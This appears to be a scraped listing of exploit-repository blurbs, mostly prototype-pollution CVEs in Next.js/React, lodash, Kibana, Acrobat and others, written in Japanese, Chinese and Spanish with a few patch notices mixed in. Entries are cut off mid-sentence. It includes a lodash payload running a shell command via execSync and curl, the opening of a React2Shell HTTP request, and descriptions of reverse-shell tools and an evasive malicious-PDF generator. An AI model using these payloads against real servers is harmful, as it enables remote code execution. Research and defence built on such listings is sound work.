28458

CVE-2020-28458 このパッケージの影響を受けるバージョンは、プロトタイプ汚染に対して脆弱です。 datatables v1.10.16-1.10.16 使用法 Pythonスクリプトを実行し、必要な入力を入力してください： ターゲットURL プロキシURL（オプション、ない場合は空白のまま） タイムアウト（秒単位、デフォルトは10） 例: python3 exploit.py スクリプトはより良い出力のためにロギングを使用し、可能な場合はJSONレスポンスを解析してプロトタイプ汚染をチェックします。...

ROOT-APP-NPM-CVE-2026-64647 CVE-2026-64647 in next - Patched by Root

Root has patched CVE-2026-64647 in the next package for Root:npm. Multiple fixed versions available...

krle

REACT2SHELL CVE-2025-55182 React2Shell CVE-2025-55182 は、Server Actions を利用する Next.js アプリケーションに影響を与える重大なリモートコード実行（RCE）脆弱性チェーンです。この脆弱性は、プロトタイプ汚染と Server Actions を組み合わせて、認証なしでサーバー上で任意のコードを実行するものです。 このリポジトリは、React2Shell のペイロードとバイパス方法を共有するためのものです。PRやコントリビューションはいつでも歓迎します！ リソース 以下は役立つ追加リソースです： Assetnote...

CVE-2025-55182

CVE-2025-55182 CVE-2025-55182 的概念验证，一个影响 React Server Components 的严重未认证 RCE 漏洞。 ⚠️ 免责声明 本文档仅供教育、防御及经授权的安全研究目的 使用。 未经明确书面许可，请勿 尝试利用系统或应用程序。 作者对滥用此信息不承担任何责任。 📌 概述 CVE 编号： CVE-2025-55182 严重性： 严重 漏洞类型： 预认证远程代码执行 RCE 根本原因： 原型链污染 受影响组件： react-server-dom-webpack 受影响版本： 19.0.0 是否需要认证： 否 CVE-2025-55182...

ROOT-APP-NPM-CVE-2026-18446 CVE-2026-18446 in fast-uri - Patched by Root

Root has patched CVE-2026-18446 in the fast-uri package for Root:npm. Multiple fixed versions available...

CVE-2026-42231

GHSA-q5f4-99jv-pgg5 — n8n XML Webhook 原型污染 → RCE CVE： CVE-2026-42231 严重性： 严重（CVSS 10.0） 受影响版本： n8n 元素的 XML Webhook 请求体。 xml2js 0.6.2 使用带数据描述符的 Object.defineProperty 来设置 解析对象上的元素键。由于 'proto' in obj 始终为 true，assignOrPush 会将值包装在数组中，并将其存储为 自有可枚举数据属性 — 从而绕过了通常会安全更新原型链的 Set 访问器。 自有的 proto 属性在...

CVE-2026-2964-Lab

CVE‑2026‑2964 实验室 – 原型污染到远程代码执行 本仓库包含一个完整的 CVE‑2026‑2964 实验室环境，该漏洞是 web‑audio‑recorder‑js 库中的一个原型污染漏洞，在特定条件下可导致远程代码执行。 该实验室包含： 一个易受攻击的服务器（index-vulnerable.js），用于演示攻击链。 一个已修复的服务器（index-fixed.js），实现了适当的清理和允许列表验证。 直接从 GitHub 仓库拉取的原版易受攻击库代码。 通过单条命令即可完成环境搭建的脚本。 前置要求： Node.js（版本 18 或更高） npm（随 Node.js...

CVE-2026-40175-poc

CVE-2026-40175 — Inyección CRLF / PoC de Contrabando de Solicitudes HTTP en Axios Resumen Vulnerabilidad de inyección CRLF causada por AxiosHeaders.set del cliente HTTP Axios =1.0.0 1.15.0, 0.31.0, que no valida \r\n dentro de los valores de los encabezados. Si un atacante la combina con una...

CVE-2026-3462

CVE-2026-3462 Acrobat Reader | 对象原型属性修改控制不当（'原型污染'）（CWE-1321） CVE-2026-34621 - 高级跨平台漏洞利用生成器 =========================================================== 生成一个恶意 PDF，利用 Adobe Acrobat/Reader 原型污染 + 沙箱逃逸漏洞。 功能特性： 操作系统自动检测（Windows、macOS、移动端回退） 多种规避技术（混淆、密钥绑定、延迟） 分阶段载荷与无文件执行 持久化安装 诱饵 PDF 合并 多种触发向量 全面报告...

PP_CVE-2024-38998

PPCVE-2024-38998 在 JavaScript 模块 requirejs 的 2.3.6 版本中发现了一个漏洞（CVE-2024-38998）。该漏洞利用 config 函数中的原型污染（prototype pollution），允许攻击者通过恶意输入修改 Object.prototype。这可能导致拒绝服务（DoS）、远程代码执行（RCE）或跨站脚本（XSS）。严重程度为严重（CVSS 9.8）。原型污染...

cve_2026_34621_advanced

Generador Avanzado de Exploits CVE-2026-34621 Un generador de exploits sofisticado y multiplataforma para CVE-2026-34621 – una vulnerabilidad crítica de contaminación de prototipos en Adobe Acrobat y Reader que permite el escape del sandbox y la ejecución arbitraria de código en Windows y macOS. ...

CVE-2025-55182

CVE-2025-55182 バッチ検出ツール Next.js プロトタイプ汚染脆弱性 CVE-2025-55182 に対応した効率的なバッチ検出ツールです。 脆弱性概要 CVE-2025-55182 は Next.js フレームワークのプロトタイプ汚染脆弱性であり、攻撃者は悪意のあるリクエストを構築してプロトタイプ汚染を利用し任意のコードを実行できます。この脆弱性は Next.js Server Actions を使用するアプリケーションに影響します。 機能特徴 ✅ バッチ検出 - 資産を一括インポートして脆弱性検出をサポート ✅ マルチスレッド同時実行 -...

deephas-1.0.7-Prototype-Pollution-PoC-CVE-2026-25047-

deephas = 1.0.8 中修复。 参考链接： GitHub 安全公告（GHSA-2733-6c58-pf27） NVD CVE-2026-25047 原始仓库：sharpred/deepHas 环境要求 Python 3.x Node.js（推荐 16 / 18 / 20） 使用 npm 安装存在漏洞的包 安装与使用 1. 克隆本仓库： root@kitploit: git clone https://github.com/your-username/deephas-poc-cve-2026-25047.git cd deephas-poc-cve-2026-25047...

CVE-2026-4800-POC

CVE-2026-4800-POC 安全公告 https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc POC root@kitploit: const = require'lodash'; Object.prototype.imports = 'x=process.getBuiltinModule"childprocess".execSync"curl https://example.com"':undefined .template'', ; 攻击流程...

CVE-2025-66478

root@kitploit: POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data;...

CVE-2019-7069-POC

Kibana ⚠️ 免責事項: このスクリプトは教育目的および許可された侵入テスト のみを対象としています。所有していない、または明示的なテスト許可がないシステムで使用しないでください。作者および貢献者は、このツールの誤用や損害について一切責任を負いません。 🎯 これは何ですか？ これは、Kibanaバージョン 6.6.1 の リモートコード実行脆弱性 に対するPython 3エクスプロイトスクリプトです。プロトタイプ汚染の欠陥を利用して、脆弱なKibanaインスタンス上で任意のコマンドを実行し、リバースシェルを起動することも可能です。 🕹️ 特徴 Kibanaのバージョンを自動検出...

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182 Next.js アプリケーションにおける React サーバーコンポーネントのレンダリングパイプラインでのプロトタイプ汚染を介したリモートコード実行の脆弱性を実証する Proof-of-Concept エクスプロイトです。 ⚠️ 免責事項 このツールは教育および正規のテスト目的のみに使用されます。所有していない、またはテスト許可を得ていないシステムに対して不正に使用することは違法です。 📋 前提条件 Node.js v16 以降 Python 3.6+ netcat リバースシェル用 脆弱な Next.js アプリケーション...

CVE-2025-55182

CVE-2025-55182 React Server Functions（Next.js等）におけるリモートコード実行（RCE）脆弱性 の実証コードです。 プロトタイプ汚染を悪用し、認証なしでサーバー上で任意のコードを実行できます。 注意 : このリポジトリは教育・研究目的です。悪用は厳禁です。 概要 影響を受けるバージョン Next.js : 16.0.6以前（脆弱） React : このコミット以前 脆弱性の深刻度 CVSS : 高（詳細スコアは未公表） 攻撃難易度 : 低（認証不要、単一のHTTPリクエストで攻撃可能） 影響範囲 : サーバー上での任意コード実行 脆弱性の原因...

react-rsc-cve-2025-55182-lab

CVE-2025-55182 ラボ — React Server Components RCE 教育用ラボ: CVE-2025-55182 — React Server Components における Flight プロトコルデシリアライザーのプロトタイプ汚染によって引き起こされる深刻な（CVSS 10.0）リモートコード実行脆弱性。 免責事項: このリポジトリは教育および許可されたセキュリティ研究目的のみ...

PoC_CVE-2025-55182

Next.js React2Shell CVE-2025-55182 漏洞利用工具 这是一个概念验证工具，用于演示在 授权、本地测试环境 中极具危险性的 React2Shell 漏洞（CVE-2025-55182 / CVE-2025-66478）。 ⚠️ 严重警告：正在被积极利用 此漏洞（CVSS 10.0）正被高级威胁行为者积极利用。 亚马逊威胁情报报告称，包括 Earth Lamia 和 Jackpot Panda 在内的多个与中国相关的国家支持组织，在漏洞披露后数小时内就开始将公开的利用代码武器化。美国网络安全和基础设施安全局（CISA）已将其列入已知被利用漏洞（KEV）目录。...